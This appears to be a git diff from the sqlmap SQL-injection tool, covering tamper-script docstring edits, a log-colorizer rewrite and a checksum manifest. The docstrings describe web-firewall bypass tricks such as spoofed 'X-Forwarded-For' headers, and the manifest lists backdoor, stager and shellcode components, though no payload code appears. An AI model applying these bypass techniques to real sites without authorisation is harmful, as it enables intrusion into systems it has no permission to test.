def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces each keyword character with upper case value
|
||||
Replaces each keyword character with upper case value (e.g. select -> SELECT)
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
|
||||
+4
-4
@@ -14,12 +14,12 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Append a HTTP header 'X-originating-IP' to bypass
|
||||
WAF Protection of Varnish Firewall
|
||||
Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall
|
||||
|
||||
Reference:
|
||||
* http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
|
||||
|
||||
Notes:
|
||||
Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
|
||||
|
||||
Examples:
|
||||
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
|
||||
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
|
||||
|
||||
@@ -20,7 +20,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Encloses each non-function keyword with versioned MySQL comment
|
||||
Encloses each non-function keyword with (MySQL) versioned comment
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -21,7 +21,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Encloses each keyword with versioned MySQL comment
|
||||
Encloses each keyword with (MySQL) versioned comment
|
||||
|
||||
Requirement:
|
||||
* MySQL >= 5.1.13
|
||||
|
||||
@@ -20,8 +20,7 @@ def randomIP():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Append a fake HTTP header 'X-Forwarded-For' to bypass
|
||||
WAF (usually application based) protection
|
||||
Append a fake HTTP header 'X-Forwarded-For'
|
||||
"""
|
||||
|
||||
headers = kwargs.get("headers", {})
|
||||
|
||||
Vendored
+57
-11
@@ -1,6 +1,8 @@
|
||||
#
|
||||
# Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license.
|
||||
# (Note: 2018 modifications by @stamparm)
|
||||
#
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
@@ -43,6 +45,7 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
||||
}
|
||||
csi = '\x1b['
|
||||
reset = '\x1b[0m'
|
||||
bold = "\x1b[1m"
|
||||
disable_coloring = False
|
||||
|
||||
@property
|
||||
@@ -127,9 +130,9 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
||||
|
||||
ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)
|
||||
|
||||
def colorize(self, message, record):
|
||||
if record.levelno in self.level_map and self.is_tty:
|
||||
bg, fg, bold = self.level_map[record.levelno]
|
||||
def colorize(self, message, levelno):
|
||||
if levelno in self.level_map and self.is_tty:
|
||||
bg, fg, bold = self.level_map[levelno]
|
||||
params = []
|
||||
|
||||
if bg in self.color_map:
|
||||
@@ -142,17 +145,60 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
||||
params.append('1')
|
||||
|
||||
if params and message:
|
||||
if message.lstrip() != message:
|
||||
prefix = re.search(r"\s+", message).group(0)
|
||||
message = message[len(prefix):]
|
||||
else:
|
||||
prefix = ""
|
||||
match = re.search(r"\A(\s+)", message)
|
||||
prefix = match.group(1) if match else ""
|
||||
|
||||
message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params),
|
||||
'm', message, self.reset)))
|
||||
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||
if match:
|
||||
level = match.group(1)
|
||||
if message.startswith(self.bold):
|
||||
message = message.replace(self.bold, "")
|
||||
reset = self.reset + self.bold
|
||||
params.append('1')
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||
|
||||
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||
if match:
|
||||
time = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, reset)), 1)
|
||||
|
||||
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||
if match:
|
||||
counter = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, reset)), 1)
|
||||
|
||||
match = re.search(r"'([^']+)'", message) # single-quoted
|
||||
if level != "PAYLOAD" and match:
|
||||
string = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(string, ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, reset)), 1)
|
||||
else:
|
||||
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||
|
||||
if prefix:
|
||||
message = "%s%s" % (prefix, message)
|
||||
|
||||
return message
|
||||
|
||||
def format(self, record):
|
||||
message = logging.StreamHandler.format(self, record)
|
||||
return self.colorize(message, record)
|
||||
return self.colorize(message, record.levelno)
|
||||
|
||||
+107
-103
@@ -5,10 +5,10 @@ b0eb597c613afeff9d62898cf4c67a56 extra/cloak/cloak.py
|
||||
e0911386106b95d2ba4b12d651b2eb16 extra/dbgtool/dbgtool.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/dbgtool/__init__.py
|
||||
acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_
|
||||
fe39e5c315d63afff5cb99ec42fc883f extra/icmpsh/icmpsh_m.py
|
||||
708e9fd35dabcbfcd10e91bbc14f091f extra/icmpsh/icmpsh_m.py
|
||||
2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/__init__.py
|
||||
27629e01ba722271c990ad4b27151917 extra/mssqlsig/update.py
|
||||
fe141ec3178a46e7151c7f34bb747c68 extra/mssqlsig/update.py
|
||||
ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/safe2bin/__init__.py
|
||||
b6c0f2047e9bea90f4d5c5806c0f6a9a extra/safe2bin/safe2bin.py
|
||||
@@ -16,69 +16,70 @@ d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_
|
||||
2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_
|
||||
c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_
|
||||
220745c50d375dad7aefebf8ca3611ef extra/shutils/duplicates.py
|
||||
1f33abe1a67493909d29a35ca72ecedb extra/shutils/newlines.py
|
||||
e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py
|
||||
71b9d4357c31db013ecda27433830090 extra/shutils/pylint.py
|
||||
c88d66597f4aab719bde4542b0a1a6e0 extra/shutils/regressiontest.py
|
||||
1056d1112ba5130868178cb495d22b1d extra/shutils/regressiontest.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/sqlharvest/__init__.py
|
||||
b3e60ea4e18a65c48515d04aab28ff68 extra/sqlharvest/sqlharvest.py
|
||||
0f581182871148b0456a691ae85b04c0 lib/controller/action.py
|
||||
9682b922fd621d31708d562b15803202 lib/controller/checks.py
|
||||
94872ce72dc2628cdedf2eb82cba716e lib/controller/checks.py
|
||||
c414cecdb0472c92cf50ed5b01e4438c lib/controller/controller.py
|
||||
c7443613a0a2505b1faec931cee2a6ef lib/controller/handler.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/controller/__init__.py
|
||||
b1990c7805943f0c973a853bba981d96 lib/core/agent.py
|
||||
0adf547455a76dc71e6a599e52da1ed9 lib/core/agent.py
|
||||
fd8f239e259afaf5f24bcf34a0ad187f lib/core/bigarray.py
|
||||
240cb11db16783c6601b1d7de5eadd8d lib/core/common.py
|
||||
ee1b800e860263b877a2b292a3e4becd lib/core/common.py
|
||||
0d082da16c388b3445e656e0760fb582 lib/core/convert.py
|
||||
9f87391b6a3395f7f50830b391264f27 lib/core/data.py
|
||||
72016ea5c994a711a262fd64572a0fcd lib/core/datatype.py
|
||||
93567739d591829c1fb9ff77a50bcc87 lib/core/decorators.py
|
||||
4086fb55f42e27de5330505605baad0f lib/core/decorators.py
|
||||
fbb55cc6100318ff922957b6577dc58f lib/core/defaults.py
|
||||
da98f5288aad57855c6d287ba3b397a1 lib/core/dicts.py
|
||||
db165596ef0a3e19ec59c24192bb318d lib/core/dicts.py
|
||||
9ea8a043030796e6faef7f7e957729d5 lib/core/dump.py
|
||||
bfffdc74a93ff647c49b79c215d96d8a lib/core/enums.py
|
||||
ab3f4f3e3019add5f4a2e28f7e8748a4 lib/core/enums.py
|
||||
cada93357a7321655927fc9625b3bfec lib/core/exception.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/core/__init__.py
|
||||
458a194764805cd8312c14ecd4be4d1e lib/core/log.py
|
||||
c9a56e58984420a5abb7a3f7aadc196d lib/core/optiondict.py
|
||||
83345a6b0b7e187d2cbcc280a509f03e lib/core/option.py
|
||||
7cfd04e583cca782b843f6f6d973981a lib/core/profiling.py
|
||||
05f72baa2db4073bb0273d7fc1df13eb lib/core/optiondict.py
|
||||
8e759d4c8711a5980d4bdc2d044a4fd4 lib/core/option.py
|
||||
c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
|
||||
6783160150b4711d02c56ee2beadffdb lib/core/profiling.py
|
||||
6f654e1715571eff68a0f8af3d62dcf8 lib/core/readlineng.py
|
||||
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
||||
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
||||
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
||||
cd402ab35a20d44b7404bcc18f652a16 lib/core/settings.py
|
||||
0dfc2ed40adf72e302291f6ecd4406f6 lib/core/shell.py
|
||||
355a1680a1f53013390849ca50322c0e lib/core/settings.py
|
||||
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
||||
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
||||
6306284edcccc185b2df085438572b0d lib/core/target.py
|
||||
12bed9603b6fba3e5ffda11d584bc449 lib/core/target.py
|
||||
72d499ca8d792e90a1ebfb2ad2341a51 lib/core/testing.py
|
||||
de9922a29c71a235cb95a916ff925db2 lib/core/threads.py
|
||||
e896992e4db26605ab1e73615b1f9434 lib/core/threads.py
|
||||
c40758411bb0bd68764d78e0bb72bd0f lib/core/unescaper.py
|
||||
af2d1810b6a7ebc61689a53c253ddbaa lib/core/update.py
|
||||
b35636650cfe721f5cc47fb91737c061 lib/core/update.py
|
||||
e772deb63270375e685fa5a7b775c382 lib/core/wordlist.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/__init__.py
|
||||
7620f1f4b8791e13c7184c06b5421754 lib/parse/banner.py
|
||||
5e46fac7f824ba8ab8003a1cd47d8af3 lib/parse/cmdline.py
|
||||
babf5c48bc6a3797fc459706af4465cd lib/parse/cmdline.py
|
||||
fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py
|
||||
3794ff139869f5ae8e81cfdbe5714f56 lib/parse/handler.py
|
||||
6bab53ea9d75bc9bb8169d3e8f3f149f lib/parse/headers.py
|
||||
1bc6ddaeada0f2425fa9aae226854ca8 lib/parse/html.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py
|
||||
ec4e56bbb1349176b2a22e0b99ba6a55 lib/parse/payloads.py
|
||||
f2af274126ce0a789027d35d367f2b9e lib/parse/payloads.py
|
||||
492654567e72b6a14584651fcd9f16e6 lib/parse/sitemap.py
|
||||
30eed3a92a04ed2c29770e1b10d39dc0 lib/request/basicauthhandler.py
|
||||
62e4500ef19f7795a1443897b535b36d lib/request/basic.py
|
||||
2b81435f5a7519298c15c724e3194a0d lib/request/basic.py
|
||||
c0cabedead14b8a23353b606672cff42 lib/request/comparison.py
|
||||
0ad9051e84e8fefe826f1a574b41b1b0 lib/request/connect.py
|
||||
039f0f7cf997856fa2f6e8d5d69f7ae9 lib/request/connect.py
|
||||
dd4598675027fae99f2e2475b05986da lib/request/direct.py
|
||||
2044fce3f4ffa268fcfaaf63241b1e64 lib/request/dns.py
|
||||
eee965d781546d05f36cfd14af050913 lib/request/httpshandler.py
|
||||
98535d0efca5551e712fcc4b34a3f772 lib/request/httpshandler.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/request/__init__.py
|
||||
c2fb1abbb7127ec6419bbf852c0a458d lib/request/inject.py
|
||||
a5cbc19ee18bd4b848515eb3ea3291f0 lib/request/inject.py
|
||||
aaf956c1e9855836c3f372e29d481393 lib/request/methodrequest.py
|
||||
51eeaa8abf5ba62aaaade66d46ff8b00 lib/request/pkihandler.py
|
||||
2c3774b72586985719035b195f144d7b lib/request/rangehandler.py
|
||||
aa809d825b33bea76a63ecd97cf7792c lib/request/redirecthandler.py
|
||||
3cd9d17fc52bb62db29e0e24fc4d8a97 lib/request/redirecthandler.py
|
||||
7f12d8f3b6665ed7053954bba70ff718 lib/request/templates.py
|
||||
747f9941a68361bd779ec760f71568e9 lib/takeover/abstraction.py
|
||||
acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py
|
||||
@@ -86,37 +87,37 @@ acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py
|
||||
46ff5840b29531412bcaa05dac190413 lib/takeover/metasploit.py
|
||||
fb9e34d558293b5d6b9727f440712886 lib/takeover/registry.py
|
||||
48575dde7bb867b7937769f569a98309 lib/takeover/udf.py
|
||||
2665fa7eedb19a1b10ffe949999b75f1 lib/takeover/web.py
|
||||
f1decf0a987bd3a4bc757212cbe6a6c8 lib/takeover/xp_cmdshell.py
|
||||
4a7f231e597f754e9fcd116d13ad1a4d lib/techniques/blind/inference.py
|
||||
f6f835e4190a55e42d13c1e7ca3f728f lib/takeover/web.py
|
||||
debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
|
||||
0e9d37cbeabd1bbbfe2c53f01bbb6a6e lib/techniques/blind/inference.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/dns/__init__.py
|
||||
799faf9008527d2e9da9d923e50f685a lib/techniques/dns/test.py
|
||||
bad83c6386adf345fbc982bdafbe3b93 lib/techniques/dns/use.py
|
||||
48a24f48da791e67309003fd5e8428cb lib/techniques/dns/use.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/error/__init__.py
|
||||
f5fb02487edaf9adaa81d54324c84f8f lib/techniques/error/use.py
|
||||
6007347548e85383705eaa4b863448a2 lib/techniques/error/use.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/union/__init__.py
|
||||
94d7a22bb6725a91e84ba2cd9973e96d lib/techniques/union/test.py
|
||||
11ecf2effbe9f40b361843d546c3c521 lib/techniques/union/use.py
|
||||
8d99c07416df40350ff8836d9d79ebb5 lib/utils/api.py
|
||||
7361338240ecd9d01d1d10ec76bce069 lib/techniques/union/use.py
|
||||
77ff35587af9e3dfde63b8327e230f9a lib/utils/api.py
|
||||
37dfb641358669f62c2acedff241348b lib/utils/brute.py
|
||||
31b1e7eb489eac837db6a2bc1dcb7da7 lib/utils/crawler.py
|
||||
de9620f03231d8329ee8434884b6bacd lib/utils/deps.py
|
||||
f7af65aa47329d021e2b2cc8521b42a4 lib/utils/getch.py
|
||||
7af29f61302c8693cd6436d4b69e22d3 lib/utils/har.py
|
||||
062e4e8fc43ac54305a75ddd0d482f81 lib/utils/hashdb.py
|
||||
cc1cfe36057f1d9bbdcba1bcc03359f9 lib/utils/hash.py
|
||||
4d5b2262ad495301706a4cf4c565abec lib/utils/hash.py
|
||||
011d2dbf589e0faa0deca61a651239cc lib/utils/htmlentities.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/utils/__init__.py
|
||||
010d8327239d33af4ce9f25683cfc012 lib/utils/pivotdumptable.py
|
||||
5cb78b0e60fd7fd84502d62cf85d2064 lib/utils/progress.py
|
||||
683c3bd05b6164f56a57ed495c162684 lib/utils/progress.py
|
||||
0ec5cec9d93d5ffd1eaeda6e942ecadf lib/utils/purge.py
|
||||
2c5a655c8e94cbe2664ee497752ac1f2 lib/utils/search.py
|
||||
571884f530796534f03c49cf3f380a4c lib/utils/sqlalchemy.py
|
||||
dcc25183c6bd85b172c87cfcbc305ab6 lib/utils/timeout.py
|
||||
fad14adffa8b640a15b06db955031695 lib/utils/versioncheck.py
|
||||
7348ee704485651737ddbe3538271be9 lib/utils/xrange.py
|
||||
e9e73cd6bd814dd7823a9da913cea61c lib/utils/xrange.py
|
||||
b9d2761f47fec3d98b88311a263fd5db plugins/dbms/access/connector.py
|
||||
3f1c50a1507d1c2f69c20c706230e2e2 plugins/dbms/access/enumeration.py
|
||||
fcc66fc377db3681f7890ec55675564b plugins/dbms/access/filesystem.py
|
||||
@@ -162,7 +163,7 @@ e7d44671ae26c0bcd5fe8448be070bbd plugins/dbms/maxdb/syntax.py
|
||||
bf7842bb291e2297c3c8d1023eb3e550 plugins/dbms/maxdb/takeover.py
|
||||
decc645344bb93aca504a71ba2e4cad4 plugins/dbms/mssqlserver/connector.py
|
||||
f1f1541a54faf67440179fa521f99849 plugins/dbms/mssqlserver/enumeration.py
|
||||
177e1d55d28ed3190bc0079b8126c6be plugins/dbms/mssqlserver/filesystem.py
|
||||
65911fdc86fa6322e72319e6488a0bb8 plugins/dbms/mssqlserver/filesystem.py
|
||||
08914da79141713bd69a25c3cc7f06a8 plugins/dbms/mssqlserver/fingerprint.py
|
||||
f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py
|
||||
612be1929108e7b4512a49a4a3837bbc plugins/dbms/mssqlserver/syntax.py
|
||||
@@ -170,21 +171,21 @@ f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py
|
||||
f6e1f3f09f32b9cb2ca11c016d373423 plugins/dbms/mysql/connector.py
|
||||
445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py
|
||||
4578fa29f04d0a75499f9668466ded07 plugins/dbms/mysql/filesystem.py
|
||||
fcbf7ff279c527b4aca0dac94c28d20c plugins/dbms/mysql/fingerprint.py
|
||||
4e23494d0a8f41c22ec3861fb404e9f7 plugins/dbms/mysql/fingerprint.py
|
||||
30065993f8300994e4658634121609e9 plugins/dbms/mysql/__init__.py
|
||||
0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py
|
||||
403591e638b6bfdb840d52bd3138ee56 plugins/dbms/mysql/takeover.py
|
||||
f772070dba85976a7894dac5046b93ea plugins/dbms/oracle/connector.py
|
||||
e1ffee36fd18f33f34bb4bac4ae43f14 plugins/dbms/oracle/enumeration.py
|
||||
c326b0d8bed92be67888b0242f565ac8 plugins/dbms/oracle/filesystem.py
|
||||
e16cbf8abda91a906ca7bafb81d8866e plugins/dbms/oracle/fingerprint.py
|
||||
538395c0e5ccb1b6befc17f129f45f29 plugins/dbms/oracle/fingerprint.py
|
||||
9cbce3d3747c67f18e65f9c1eb910b0e plugins/dbms/oracle/__init__.py
|
||||
5c2f1611c3ceface38a7e95650391ae6 plugins/dbms/oracle/syntax.py
|
||||
bcdbd9c04d7d5a911e0e31abe1a24f0f plugins/dbms/oracle/takeover.py
|
||||
f99c23db4ee6a6b8c0edbf684d360ad3 plugins/dbms/postgresql/connector.py
|
||||
7cdb821884e5f15084d1bea7f8a50574 plugins/dbms/postgresql/enumeration.py
|
||||
c8bb829d45752b98e6a03817b92e0fe5 plugins/dbms/postgresql/filesystem.py
|
||||
29560cf78211888802c6e5c8681e7d71 plugins/dbms/postgresql/fingerprint.py
|
||||
d30806e39996e6d273f0af888f5710a4 plugins/dbms/postgresql/fingerprint.py
|
||||
470860d3e85d11a67f2220bffaa415e7 plugins/dbms/postgresql/__init__.py
|
||||
20e6f48f496348be45f3402ebc265dbb plugins/dbms/postgresql/syntax.py
|
||||
1287acf330da86a93c8e64aff46e3b65 plugins/dbms/postgresql/takeover.py
|
||||
@@ -213,7 +214,7 @@ f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py
|
||||
f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py
|
||||
b1d2a7f3170f9b69e71335aa47f9b08b plugins/generic/search.py
|
||||
a70cc0ada4b0cc9e7df23cb6d48a4a0c plugins/generic/syntax.py
|
||||
e522c294676ede15bee751107e9bb449 plugins/generic/takeover.py
|
||||
4adc07051b727f1525cf0a2d619221f8 plugins/generic/takeover.py
|
||||
4419b13a4b78d7e9e4a2632302344a1a plugins/generic/users.py
|
||||
1e5532ede194ac9c083891c2f02bca93 plugins/__init__.py
|
||||
5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_
|
||||
@@ -225,66 +226,66 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_
|
||||
0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_
|
||||
2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_
|
||||
4eaeef94314956e4517e5310a28d579a sqlmapapi.py
|
||||
5c8583dd47f92935ceb41210a10eeebf sqlmap.py
|
||||
b2c2cc55ba4e31bea94494dcafe5d8cc tamper/0x2char.py
|
||||
4c3b8a7daa4bff52e01d4168be0eedbe tamper/apostrophemask.py
|
||||
4115a55b8aba464723d645b7d3156b6e tamper/apostrophenullencode.py
|
||||
d7e9a979eff4d7315d804a181e66fc93 tamper/appendnullbyte.py
|
||||
0298d81e9dfac7ff18a5236c0f1d84b6 tamper/base64encode.py
|
||||
4d44f868c6c97ced29e306347ce5d650 tamper/between.py
|
||||
e1d2329adc6ca89828a2eaec2951806c tamper/bluecoat.py
|
||||
e3cdf13caedb4682bee3ff8fac103606 tamper/chardoubleencode.py
|
||||
3b2f68476fbcf8223199e8dd4ec14b64 tamper/charencode.py
|
||||
b502023ac6c48e49e652ba524b8e18cc tamper/charunicodeencode.py
|
||||
2c2b38974dc773568de7e7d771d7042c tamper/charunicodeescape.py
|
||||
6a395de07b60f47d9474ace0a98c160f tamper/commalesslimit.py
|
||||
211bb8fa36a6ecb42b719c951c362851 tamper/commalessmid.py
|
||||
19acfde79c9a2d8458e15182f5b73d71 tamper/commentbeforeparentheses.py
|
||||
334e4a2485b3a1bbc1734823b93ea694 tamper/concat2concatws.py
|
||||
dcdc433fe946f1b9005bcd427a951dd6 tamper/equaltolike.py
|
||||
06df880df5d8749963f5562f60fd1637 tamper/escapequotes.py
|
||||
a35b5b83c12841fdf3925190c9d24299 sqlmap.py
|
||||
523dab9e1093eb59264c6beb366b255a tamper/0x2char.py
|
||||
3a1697585ae4e7bf315e9dda97d6f321 tamper/apostrophemask.py
|
||||
d7a119a74be9b385ee3884fb5e6af041 tamper/apostrophenullencode.py
|
||||
a14420ef43cdeb8fbc091116d31d31f1 tamper/appendnullbyte.py
|
||||
cfe19908ec32e3f2e113e759705f986b tamper/base64encode.py
|
||||
e77a89b2af931a1820f6ba4b86d19cd4 tamper/between.py
|
||||
9df0a1810a27b92eec1375d19a95b7ef tamper/bluecoat.py
|
||||
8c174b8925f4f075010b04d85c02a169 tamper/chardoubleencode.py
|
||||
45174c61533f464806f4454be6a3f2d6 tamper/charencode.py
|
||||
0aadf3e93dd72a9b94cb6532b3343dd1 tamper/charunicodeencode.py
|
||||
014f352771f0c1fb9e0f5397c5a03dc3 tamper/charunicodeescape.py
|
||||
6c618b9310ed5c8de93c927e920b1d31 tamper/commalesslimit.py
|
||||
50f6532870d2e109bf46468e8d3ded49 tamper/commalessmid.py
|
||||
4951fec0a1af043e4b9c0728882d3452 tamper/commentbeforeparentheses.py
|
||||
376dc1203bfcd88380d902d36e7e0c5a tamper/concat2concatws.py
|
||||
6c882baf74213f401841968c04ce5e42 tamper/equaltolike.py
|
||||
22ab48f5b8ca449ac651637016be4369 tamper/escapequotes.py
|
||||
4393cc5220d2e39c5c9c5a9af4e2635d tamper/greatest.py
|
||||
25ec62158d3e289bda8a04c8b65686ba tamper/halfversionedmorekeywords.py
|
||||
9d8c350cbb90d4b21ec9c9db184a213a tamper/htmlencode.py
|
||||
3f79551baf811ff70b2ba8795a2064be tamper/ifnull2casewhenisnull.py
|
||||
e2c2b6a67546b36983a72f129a817ec0 tamper/ifnull2ifisnull.py
|
||||
91c92ee203e7e619cb547643883924ca tamper/informationschemacomment.py
|
||||
6124bc647bfa04f2b16ff8cad98382d4 tamper/halfversionedmorekeywords.py
|
||||
ef0639557a79e57b06296c4bc223ebef tamper/htmlencode.py
|
||||
42f232d776065e325e862867c522c523 tamper/ifnull2casewhenisnull.py
|
||||
6e3ab1cf4ccf5524dcb60e390f920b60 tamper/ifnull2ifisnull.py
|
||||
3ed2c6299c7c94776306535ff6090ab3 tamper/informationschemacomment.py
|
||||
1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py
|
||||
2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py
|
||||
1834b5409c449d2ea1b70a5038fed9eb tamper/lowercase.py
|
||||
de4c83d33968a0cbf00cdfd8d35deddc tamper/modsecurityversioned.py
|
||||
39981d5d6cb84aca950458739102bb07 tamper/modsecurityzeroversioned.py
|
||||
b4cadf2ddcdc0598c9a3bf24521a2fa1 tamper/multiplespaces.py
|
||||
be757e4c9a6fb36af7b9a8c444fddb05 tamper/nonrecursivereplacement.py
|
||||
e298e486c06bb39d81f10d61a5c4ceec tamper/overlongutf8more.py
|
||||
b9f698556f8333d9fa6eadaab44a77ab tamper/overlongutf8.py
|
||||
bc0363e4fc04240c9f7b81e4ecce0714 tamper/percentage.py
|
||||
91272e566ceb4644254cd6abd613db21 tamper/plus2concat.py
|
||||
265314f4b3b921f4c0d470ddaa6506e4 tamper/plus2fnconcat.py
|
||||
e94a1c7e4dc7450ac224436269d823bb tamper/randomcase.py
|
||||
6368a971a80b1acbbbc6b76616bd96b9 tamper/randomcomments.py
|
||||
48228322d40d97016b05e408c5234634 tamper/securesphere.py
|
||||
40d1ea0796fd91cb3cdd602e36daed15 tamper/lowercase.py
|
||||
1c4d622d1c2c77fc3db1f8b3849467ee tamper/modsecurityversioned.py
|
||||
f177a624c2cd3431c433769c6eb995e7 tamper/modsecurityzeroversioned.py
|
||||
91b63afdb96b1d51c12a14cbd425d310 tamper/multiplespaces.py
|
||||
efd1917c6ccc632f044084a30e0e0f98 tamper/nonrecursivereplacement.py
|
||||
dcf3458f9010ca41bc4b56804f15792c tamper/overlongutf8more.py
|
||||
a3a3cef042b864c4226b63f89548f939 tamper/overlongutf8.py
|
||||
89f8753a0ef65d2bb860c8864e9e935a tamper/percentage.py
|
||||
a47aafcbc1de2deb85160e29de46f748 tamper/plus2concat.py
|
||||
759b86cf3bb1d7871dc6489538253f94 tamper/plus2fnconcat.py
|
||||
078494e1217400b485ef653108d32699 tamper/randomcase.py
|
||||
28626e4b8c673228dcfe4f1627a9e08b tamper/randomcomments.py
|
||||
938bfac6e55a8823e4a66cd29166d980 tamper/securesphere.py
|
||||
cac8a56f8cc6c14524ee392daa5ae2fd tamper/space2comment.py
|
||||
62d4d07b640d9d54d26ba33a77de9474 tamper/space2dash.py
|
||||
ab91c20f71973b1a9a5fecfb9f2a1d1f tamper/space2hash.py
|
||||
18f827afce8322adfa0c6dfbb4a59379 tamper/space2morecomment.py
|
||||
59e61a9dd1f1e6b79fde026ed771cac4 tamper/space2morehash.py
|
||||
ad45e799126d2d563b3958f714d2e7c6 tamper/space2mssqlblank.py
|
||||
74334d72bffb99b0ac092f87f4da2675 tamper/space2mssqlhash.py
|
||||
fd1bff6caefe5007444f7a0fabbc8ce9 tamper/space2mysqlblank.py
|
||||
48a1f013657186e336d249adefbdbc7b tamper/space2mysqldash.py
|
||||
36958b2a5f5915de8b7cc157a64b267a tamper/space2plus.py
|
||||
6ce135f89259c379d84c85e538300091 tamper/space2randomblank.py
|
||||
95c91853034d9e276a6570e4d01b5f74 tamper/sp_password.py
|
||||
4e6da2aca962b6110652e5f83dce5cd7 tamper/space2dash.py
|
||||
7cdbae483262f66ef5d77521c59d9621 tamper/space2hash.py
|
||||
f3fed47a4fccb2b482f1f01559b8f55a tamper/space2morecomment.py
|
||||
fc3d9896cac8f4a97efd39673fadca7b tamper/space2morehash.py
|
||||
b55ed15af74ffefc4dc303646c7c6482 tamper/space2mssqlblank.py
|
||||
64e3d97e22f7e0870e88a87fd2f64243 tamper/space2mssqlhash.py
|
||||
3ef95855a38bbc0f031ae3a992dcbf52 tamper/space2mysqlblank.py
|
||||
8a4737f853354ac9c3788278589a772a tamper/space2mysqldash.py
|
||||
72a547bc3bf32dba0d1c3093988df8af tamper/space2plus.py
|
||||
a74cd6375c5d5d253e2e7014b00ecd33 tamper/space2randomblank.py
|
||||
93fc10b57586936cef05e88227c84ad0 tamper/sp_password.py
|
||||
041cb567dff6bb6e7389e12ab3fb84c6 tamper/symboliclogical.py
|
||||
6459c62914ae643799667de8bd283c97 tamper/unionalltounion.py
|
||||
